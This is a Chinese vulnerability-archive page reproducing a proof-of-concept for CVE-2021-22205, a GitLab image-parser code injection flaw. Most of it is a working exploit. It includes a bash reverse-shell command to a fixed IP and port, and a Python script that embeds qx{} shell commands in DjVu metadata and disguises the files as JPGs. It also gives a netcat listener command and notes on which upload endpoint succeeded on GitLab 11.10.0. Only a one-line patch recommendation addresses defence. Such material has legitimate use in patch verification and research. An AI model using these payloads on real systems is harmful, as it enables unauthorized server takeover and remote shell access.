目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-22205 PoC — GitLab 代码注入漏洞

来源
关联漏洞
标题: GitLab 代码注入漏洞 (CVE-2021-22205)
Description:GitLab是美国GitLab公司的一个开源的端到端软件开发平台,具有内置的版本控制、问题跟踪、代码审查、CI/CD(持续集成和持续交付)等功能。 Gitlab Community Edition 存在代码注入漏洞,该漏洞源于图像解析器在处理图像文件时输入验证不正确。以下产品及版本受到影响::Gitlab Community Edition: 11.9.0, 11.9.1, 11.9.2, 11.9.3, 11.9.4, 11.9.5, 11.9.6, 11.9.7, 11.9.8, 11.9.9, 11
Description
CVE-2021-22205-getshell
介绍
# CVE-2021-22205-getshell
CVE-2021-22205-getshell

## 测试版本


## 构造生成漏洞利用的命令
```bash
echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh
```

## 利用djvumake生成漏洞利用的图片
```python
import os
payloads=[
    "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
    "chmod +x /tmp/1.sh",
    "/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
    rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
    with open("rce-{0}.txt".format(index), "wb") as text_file:
        text_file.write(rce_payload)
    text_file.close()
    os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
    index=index+1
```

## 本地监听4444端口等待反弹shell
```bash
nv -lv 192.168.147.5 4444
```
## 分别上传图片到gitlab
- 这里是和网上exp有出入的地方,很多漏洞exp使用的gitlab应该是高版本应该是12或者13的版本的使用的上传点是新建Snippets处,path为:/uploads/user
- 我这边验证的版本是11.10.0的,利用公开的上传路径/uploads/user,提示404,利用Snippets的上传路径/uploads/personal_snippet,没法执行命令
- 最终从新建issue的页面上传图片,成功实现命令执行


## 成功反弹shell拿到目标机器权限
分别上传三个图片后,第三个图片回执行反弹shell命令,成功拿到目标机器权限

## 修复建议
尽快升级Gitlab至最新的安全版本。

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →